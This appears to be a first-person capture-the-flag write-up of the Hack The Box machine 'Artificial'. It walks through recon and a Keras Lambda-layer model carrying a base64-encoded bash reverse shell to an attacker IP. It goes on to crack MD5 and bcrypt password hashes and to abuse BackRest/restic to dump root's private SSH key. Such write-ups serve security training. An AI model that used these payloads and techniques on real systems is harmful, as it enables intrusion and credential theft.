
External Recon
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe machine exposes only SSH and a HTTP web-server, that wants to redirect me to the artificial.htb domain. So I add the domain to my /etc/hosts file. The website itself looks custom made and revolves around “AI” models. As seen in the screenshot there is also a login and register option, through which I create my own account.

Foothold
After I am logged in as an authenticated user I have the option to upload a TensoreFlow model for the server to validate/run. The website offers two ways of setting up the development environment for such a model, either through a Dockerfile or a requirements.txt.

Instead of building the Docker image and running a container I only use the Dockerfile to extract the correct Python and TensorFlow versions.
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]With the target version identified I use uv to create a new virtual environment that uses Python 3.8 and install TensorFlow.
$ uv venv --python 3.8
Using CPython 3.8.20
Creating virtual environment at: .venv
Activate with: source .venv/bin/activate
$ source .venv/bin/activate
.venv $ uv pip install tensorflow-cpu==2.13.1Now that the development environment is setup I can start crafting a malicious model. Code Execution in this scenario can be achieved by abusing the Lambda layer in Keras1. For this attack vector to be successful it is imperative that the Python and TensorFlow version used to created the model match the ones used to load the model. The command to be run in this model is payload created by Penelope. After uploading the model I get a shell as the app user.
import tensorflow as tf
def exploit(x):
import os
os.system("bash -c 'printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQzLzkwMDAgMD4mMSkgJg==|base64 -d|bash'")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.InputLayer(input_shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")Internal Recon
Looking at the source code for the Python application, I find both the key used to signed cookies and the name of the database used for authenticating users.
app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'
db = SQLAlchemy(app)
MODEL_FOLDER = 'models'
os.makedirs(MODEL_FOLDER, exist_ok=True)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(100), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(200), nullable=False)
models = db.relationship('Model', backref='owner', lazy=True)
class Model(db.Model):
id = db.Column(db.String(36), primary_key=True)
filename = db.Column(db.String(120), nullable=False)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'h5'
def hash(password):
password = password.encode()
hash = hashlib.md5(password).hexdigest()
return hashA quick find later I locate the database and look at it using sqlite3, which is also installed on the machine. Querying the entire user tables returns usernames and MD5-hashed passwords.
app@artificial:~/app$ find / -name users.db 2> /dev/null
/home/app/app/instance/users.db
app@artificial:~/app$ sqlite3 /home/app/app/instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables;
Error: unknown command or invalid arguments: "tables;". Enter ".help" for help
sqlite> .tables
model user
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|j1ndosh|j1ndosh@example.htb|4ef9adace03813b7d5208a88e59ac8d7Looking up these hash in CrackStation shows that the password for gael and royer can be recovered. Out of those two I mostly care about gael since they also have a valid login shell on the machine. So using the password of mattp005numbertwo I connect to the machine via SSH.
app@artificial:~/app$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
gael:x:1000:1000:gael:/home/gael:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bashPrivilege Escalation
As I gael I am now a member of the sysadm group. As this stands out to me I search for all files that belong to this group, and find a file related to BackRest (a web-accessible backup solution). Looking further into this I can see that an application is listening only localhost:9898, which is the default port for BackRest.
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
gael@artificial:~$ find / -group sysadm 2> /dev/null
/var/backups/backrest_backup.tar.gz
gael@artificial:~$ netstat -tulpen
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 36110 -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 32543 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 35594 -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN 1001 36619 -
tcp 0 0 127.0.0.1:9898 0.0.0.0:* LISTEN 0 44188 -
tcp6 0 0 :::80 :::* LISTEN 0 36111 -
tcp6 0 0 :::22 :::* LISTEN 0 35596 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 101 32542 -
gael@artificial:~$ ls -la /opt/
total 12
drwxr-xr-x 3 root root 4096 Mar 4 22:19 .
drwxr-xr-x 18 root root 4096 Mar 3 02:50 ..
drwxr-xr-x 5 root root 4096 Aug 13 16:30 backrestAfter using SSH to perform local port-forwarding I try to access BackRest from my machine, but am “blocked” by a login mask.

So going back to the identified archive I tried to gunzip it, only for it to fail and realise that the file as actually just a tar file.
$ file backrest_backup.tar.gz
backrest_backup.tar.gz: POSIX tar archive (GNU)Within the unpacked files I find the BackRest config, where I find the username and hashed password used to access BackREst.
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}Now the password is still base64-encoded so after decoding it I can use hashcat to successfully recover the plaintext password.
$ echo 'JDJhJDEwJDRqbjRCcEJySllhdkR0VVA3UU8yVnVyT3FaNmhnM2hKaWpwSmZ6TmhEYnBacS4ua3BiUlVl' | base64 -d
$2a$10$4jn4BpBrJYavDtUP7QO2VurOqZ6hg3hJijpJfzNhDbpZq..kpbRUe
$ hashcat -m 3200 loot/hash.bcrypt /usr/share/wordlists/rockyou.txt --show
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^As is somewhat common when having privileged access to a backup solution I want to use this access to read privileged files. This process usually starts by creating your own backup and then dumping file or configure the backup to execute commands. Here I create a new repository, the URI does not matter.

With the repository created I perform a backup of /root into it. The arguments including and after -o are added by BackRest.

command: /opt/backrest/restic backup /root -o sftp.args=-oBatchMode=yes
no parent snapshot found, will read all files
Files: 30 new, 0 changed, 0 unmodified
Dirs: 48 new, 0 changed, 0 unmodified
Added to the repository: 4.326 MiB (4.216 MiB stored)
processed 30 files, 4.299 MiB in 0:00
snapshot eca6d308 savedNow with the snapshot ID of the recently created backup I can use the dump command to print the contents of a file within the backup to stdout. This allows me to read the root flag and the private SSH key of root.

command: /opt/backrest/restic dump eca6d308 /root/.ssh/id_rsa -o sftp.args=-oBatchMode=yes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA5dXD22h0xZcysyHyRfknbJXk5O9tVagc1wiwaxGDi+eHE8vb5/Yq
2X2jxWO63SWVGEVSRH61/1cDzvRE2br3GC1ejDYfL7XEbs3vXmb5YkyrVwYt/G/5fyFLui
NErs1kAHWBeMBZKRaSy8VQDRB0bgXCKqqs/yeM5pOsm8RpT/jjYkNdZLNVhnP3jXW+k0D1
[...]